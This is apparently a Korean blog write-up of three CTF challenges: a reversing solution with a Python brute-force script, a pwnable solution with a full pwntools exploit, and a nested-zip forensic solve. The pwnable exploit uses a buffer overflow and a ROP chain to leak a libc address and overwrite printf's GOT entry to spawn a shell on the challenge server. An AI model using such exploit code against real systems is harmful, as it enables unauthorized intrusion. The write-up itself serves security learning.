Reversing
Reversing #2
문제를 보면 반복문이 엄청나게 돌고있다.. 디버깅해서 연산하는 곳마다 브레이크 포인트 걸어주고 풀었다.
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v3; // rsi
signed int v4; // eax
signed int v5; // eax
bool v6; // zf
signed int v7; // eax
signed int v9; // [rsp+7Ch] [rbp-224h]
int v10; // [rsp+80h] [rbp-220h]
int v11; // [rsp+84h] [rbp-21Ch]
unsigned __int64 v12; // [rsp+88h] [rbp-218h]
char s1[256]; // [rsp+90h] [rbp-210h]
char s[268]; // [rsp+190h] [rbp-110h]
unsigned int v15; // [rsp+29Ch] [rbp-4h]
v15 = 0;
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
memset(s, 0, 0x100uLL);
memset(s1, 0, 0x100uLL);
v3 = s;
printf("Easy one. Just Reverse Me :)\n", 0LL);
v12 = (signed int)read(0, s, 0x100uLL);
v11 = 0;
v9 = 784577434;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v9 == -1283299488 )
{
v3 = (char *)v10;
s1[v10] ^= byte_602060[v10 % 5];
v9 = 689708032;
}
if ( v9 != -1112985830 )
break;
v5 = -576509350;
if ( v10 < v12 )
v5 = -1283299488;
v9 = v5;
}
if ( v9 != -937301210 )
break;
v10 = 0;
v9 = -1112985830;
}
if ( v9 != -576509350 )
break;
v3 = (char *)&unk_602070;
v6 = memcmp(s1, &unk_602070, 0x1EuLL) == 0;
v7 = 447126853;
if ( !v6 )
v7 = 596317950;
v9 = v7;
}
if ( v9 != 447126853 )
break;
v9 = 955640552;
printf("Input is your flag\n", v3);
}
if ( v9 != 596317950 )
break;
v9 = 955640552;
puts("Nope.");
}
if ( v9 != 689708032 )
break;
++v10;
v9 = -1112985830;
}
if ( v9 != 784577434 )
break;
v4 = -937301210;
if ( v11 < v12 )
v4 = 1637913944;
v9 = v4;
}
if ( v9 == 955640552 )
break;
if ( v9 == 1637913944 )
{
v3 = (char *)16;
s1[v11] = byte_400C20[16 * ((unsigned __int8)s[v11] / 16) + (unsigned __int8)s[v11] % 16];
v9 = 1690546716;
}
else if ( v9 == 1690546716 )
{
++v11;
v9 = 784577434;
}
}
return v15;
}
간단하게 연산 순서를 나타내면 아래와 같다.
- byte_400c20에 있는 테이블 값을 뽑아서 s1에 넣어주고있다.
s1[v11] = byte_400C20[16 * ((unsigned __int8)s[v11] / 16) + (unsigned __int8)s[v11] % 16];
- 그리고 byte_602060에 저장된 “SECRET”과 xor연산해준다.
s1[v10] ^= byte_602060[v10 % 5];
- 마지막으로는 30글자 메모리 값을 비교해준다.
v6 = memcmp(s1, &unk_602070, 0x1EuLL) == 0;
이런 분기로 프로그램이 흘러간다.
이렇게 되면 쉽게 그냥 역연산 짜주면 된다.
byte_400C20[16 * (INPUT / 16) + INPUT % 16] ^ byte_602060[i%5] == unk_602070[i]
이런식으로 프로그램이 흘러간다는 것을 알 수 있다. 그러면 역연산 해주면 된다.
우선 byte_602060[i%5] ^ unk_602070[i]
을 해주면 byte_400C20[16 * (INPUT / 16) + INPUT % 16]
이 나온다.
나는 브루트포스해서 INPUT 값을 구해주었다.
bt=[99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43
,254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71
,240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253
,147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216
,49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128
,226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90
,160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0
,237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88
,207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2
,127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56
,245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12
,19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93
,25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238
,184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36
,92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200
,55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101
,122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232
,221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102
,72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158
,225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135
,233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230
,66, 104, 65, 153, 45, 15, 176, 84, 187, 22]
table = [0x60,0x15,0xac,0xd7,0x64,0x57,0xef,0x70,0xcf,0xd3,0xa8,0x5d,0xd1,0xd6,0x5,0x9c,0x5f,0x5b,0xcd,0x65,0x9c,0xd3,0x63,0x56,0x16,0x9c,0xa6,0x80,0xad,0x22]
flag = []
m="SECRET"
for i in range(len(table)):
for j in range(33,127):
if ord(m[i%5]) ^ table[i] == bt[16 * (j / 16) + j % 16]:
flag.append(j)
break
print ''.join(chr(i) for i in flag)
FLAG : flag{0bfu5c4tOr_C4nT_5T0P_M3}
Pwnable
GOT_O
간단한 got overwrite 문제이다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
problem();
write(1, "\n\n", 2u);
return 0;
}
ssize_t problem()
{
char buf; // [esp+0h] [ebp-18h]
return read(0, &buf, 0xA0u);
}
int win()
{
return printf("/bin/sh");
}
exploit.py
from pwn import *
context.log_level = 'debug'
p = remote('inc0gnito.com',9090)
elf = ELF('./GOT_o')
main = 0x080484a3
win = 0x0804848a
problem = 0x0804846b
read_offset = 0x9ad60 # read - system
payload = cyclic(cyclic_find('haaa'))
rop1 = ROP(elf)
rop1.write(1,elf.got['read'],4)
rop1.call(problem)
log.info('Stage1')
p.sendline(payload + str(rop1))
sleep(0.1)
read_got = u32(p.recv(4))
sys_got = read_got - read_offset
rop2 = ROP(elf)
rop2.read(0,elf.got['printf'],4)
rop2.call(win)
log.info('Stage2')
p.sendline(payload + str(rop2))
sleep(0.1)
p.sendline(p32(sys_got))
sleep(0.1)
p.interactive()
FLAG : FLAG{This_is_got_overwrite}
Forensic
wh3re_is_my_f14g
zip 파일이 주어지는데 그 안에 zip 파일이 하나 더 숨겨져있어서 그거 추출해줬는데 플래그 있었다.
FLAG : 1nC0{d0_you_kn0w_21p?}
'CTF WriteUp' 카테고리의 다른 글
2019 TokyoWesterns CTF 5th Easy Crack Me (0) | 2019.09.03 |
---|---|
2019 20th Hackingcamp CTF Writeup (0) | 2019.09.01 |
2019 제 17회 순천향대학교 정보보호 페스티벌(YISF) 예선 풀이 (0) | 2019.08.27 |
2018 ROOT CTF Reversing Writeup (0) | 2019.08.04 |
2017 Dimi CTF Final warmup (0) | 2019.08.04 |